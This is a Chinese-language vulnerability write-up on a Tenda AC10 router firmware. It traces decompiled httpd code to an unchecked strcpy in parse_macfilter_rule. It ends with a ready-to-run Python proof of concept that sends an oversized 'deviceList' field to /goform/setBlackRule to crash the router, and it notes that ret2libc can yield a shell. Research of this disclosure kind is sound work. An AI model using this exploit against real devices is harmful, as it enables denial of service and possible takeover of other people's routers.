设备固件 **Tenda US_AC10UV1.0RTL_V15.03.06.49_multi_TDE01**

固件链接为 https://www.tendacn.com/download/detail-3170.html

## 一、固件解包

采用在线解包工具 https://zhiwanyuzhou.com/multiple_analyse/firmware/


## 二、定位文件

解包之后，看文件/bin/httpd

直接定位到函数 formsetmacfiltercfg

```
1  void __cdecl formSetMacFilterCfg(webs_t wp, char_t *path, char_t *query)
2  {
3    int error_code; // [sp+28h] [+28h]
4    char_t *rule_list; // [sp+2Ch] [+2Ch]
5    char *mac_filter_mode; // [sp+30h] [+30h]
6    char wifi_enable[32]; // [sp+34h] [+34h] BYREF
7    char ret_buf[256]; // [sp+54h] [+54h] BYREF
8    char msg_info[128]; // [sp+154h] [+154h] BYREF
9    char cgi_debug[16]; // [sp+1D4h] [+1D4h]
10   char cgi_debug_0[16]; // [sp+1E4h] [+1E4h]
11   char cgi_debug_1[16]; // [sp+1F4h] [+1F4h]
12   char cgi_debug_2[16]; // [sp+204h] [+204h] BYREF
13   char cgi_debug_3[16]; // [sp+214h] [+214h] BYREF
14
15   *(_DWORD *)wifi_enable = 0;
16   *(_DWORD *)&wifi_enable[4] = 0;
17   *(_DWORD *)&wifi_enable[8] = 0;
18   *(_DWORD *)&wifi_enable[12] = 0;
19   *(_DWORD *)&wifi_enable[16] = 0;
20   *(_DWORD *)&wifi_enable[20] = 0;
21   *(_DWORD *)&wifi_enable[24] = 0;
22   *(_DWORD *)&wifi_enable[28] = 0;
23   memset(ret_buf, 0, sizeof(ret_buf));
24   memset(msg_info, 0, sizeof(msg_info));
25   mac_filter_mode = websGetVar(wp, "macFilterType", byte_523B1C);
26   error_code = set_macfilter_mode(mac_filter_mode);
27   if ( error_code )
28   {
29     *(_DWORD *)cgi_debug = 0;
30     *(_DWORD *)&cgi_debug[4] = 0;
31     *(_DWORD *)&cgi_debug[8] = 0;
32     *(_DWORD *)&cgi_debug[12] = 0;
33     printf(
34       "%s[%s:%s:%d] %sset mac filter mode error!\n\x1B[0m",
35       debug_color_6[3],
36       "cgi",
37       "formSetMacFilterCfg",
38       500,
39       debug_color_6[2]);
40 finished:
41     snprintf(ret_buf, 0x100u, "{\"errCode\":%d}", error_code);
42     goto LABEL_18;
43   }
44   rule_list = websGetVar(wp, "deviceList", byte_523B1C);
45   error_code = set_macfilter_rules(mac_filter_mode, rule_list);
```

第 44 行调用了 websGetVar 获得了 rule_list

第 45 行 set_macfilter_rules()，第二个参数是 rule_list

进入 set_macfilter_rules()，关注第二个参数 rule_list

前面是无关紧要的 rule_list 和查找，被 set_macfilter_rules_by_one 调用，进入 set_macfilter_rules_by_one()，关注第二个参数 rule_list

```
FUNC_RETVAL __cdecl set_macfilter_rules(const char *const filter_mode, char *rule_list)
{
  FUNC_RETVAL result; // $v0
  char *list_tmp; // [sp+24h] [+24h]
  int index; // [sp+28h] [+28h]
  char cgi_debug[16]; // [sp+2Ch] [+2Ch] BYREF
  char cgi_debug_0[16]; // [sp+3Ch] [+3Ch] BYREF

  index = 1;
  *(_DWORD *)cgi_debug = 0;
  *(_DWORD *)&cgi_debug[4] = 0;
  *(_DWORD *)&cgi_debug[8] = 0;
  *(_DWORD *)&cgi_debug[12] = 0;
  if ( GetValue("cgi_debug", cgi_debug) && !strcmp("on", cgi_debug) )
    printf(
      "%s[%s:%s:%d] %sset macfilter rules\n\x1B[0m",
      debug_color_6[3],
      "cgi",
      "set_macfilter_rules",
      617,
      debug_color_6[1]);
  unset_macfilter_rules(filter_mode);
  if ( *rule_list )
  {
    while ( 1 )
    {
      list_tmp = strchr(rule_list, 10);
      if ( !list_tmp )
        break;
      *list_tmp = 0;
      set_macfilter_rules_by_one(filter_mode, rule_list, index);
```

定位 set_macfilter_rules_by_one

```
1  FUNC_RETVAL __cdecl set_macfilter_rules_by_one(const char *const filter_mode, char *source_rule, const int index)
2  {
3    dev_info rule_info; // [sp+34h] [+34h] BYREF
4    char mib_name[128]; // [sp+D4h] [+D4h] BYREF
5    char mib_value[128]; // [sp+154h] [+154h] BYREF
6    char cgi_debug[16]; // [sp+1D4h] [+1D4h] BYREF
7    char cgi_debug_0[16]; // [sp+1E4h] [+1E4h] BYREF
8    char cgi_debug_1[16]; // [sp+1F4h] [+1F4h] BYREF
9
10   memset(mib_name, 0, sizeof(mib_name));
11   memset(mib_value, 0, sizeof(mib_value));
12   *(_DWORD *)cgi_debug = 0;
13   *(_DWORD *)&cgi_debug[4] = 0;
14   *(_DWORD *)&cgi_debug[8] = 0;
15   *(_DWORD *)&cgi_debug[12] = 0;
16   if ( GetValue("cgi_debug", cgi_debug) && !strcmp("on", cgi_debug) )
17     printf(
18       "%s[%s:%s:%d] %sset macfilter rules by one, source_rule == %s, index == %d\n\x1B[0m",
19       debug_color_6[3],
20       "cgi",
21       "set_macfilter_rules_by_one",
22       667,
23       debug_color_6[1],
24       source_rule,
25       index);
26   memset(&rule_info, 0, sizeof(rule_info));
27   parse_macfilter_rule(source_rule, &rule_info);
```

第二个参数被 source_rule 调用，进入 parse_macfilter_rule

```
1  FUNC_RETVAL __cdecl parse_macfilter_rule(char *source_rule, dev_info *const dest_rule)
2  {
3    FUNC_RETVAL result; // $v0
4    char *rule_tmp; // [sp+2Ch] [+2Ch]
5    char *rule_tmpa; // [sp+2Ch] [+2Ch]
6    char cgi_debug[16]; // [sp+40h] [+40h] BYREF
7
8    rule_tmp = strchr(source_rule, 13);
9    if ( rule_tmp )
10   {
11     *rule_tmp = 0;
12     rule_tmpa = rule_tmp + 1;
13     *(_DWORD *)cgi_debug = 0;
14     *(_DWORD *)&cgi_debug[4] = 0;
15     *(_DWORD *)&cgi_debug[8] = 0;
16     *(_DWORD *)&cgi_debug[12] = 0;
17     if ( GetValue("cgi_debug", cgi_debug) )
18     {
19       if ( !strcmp("on", cgi_debug) )
20         printf(
21           "%s[%s:%s:%d] %sparase rule: name == %s, mac == %s\n\x1B[0m",
22           debug_color_6[3],
23           "cgi",
24           "parse_macfilter_rule",
25           807,
26           debug_color_6[1],
27           source_rule,
28           rule_tmpa);
29     }
30     strcpy(dest_rule->name, source_rule);
31     strcpy(dest_rule->mac_addr, rule_tmpa);
```

第 30 行在 strcpy 时没有进行长度检查，可以构造 payload

**三、构造破坏脚本**

**构造破坏脚本，即可实现破坏，同时也可以进行 Ret2libc，获取 Shell**

```
import requests
ip = '192.168.159.128'
url = f'http://{ip}/goform/setBlackRule'
payload = {
    'deviceList': 'a' * 0x400 + '\r' + 'ff:ff:ff:ff:ff:ff'
}
r = requests.post(url=url, data=payload)
print(r.content)
```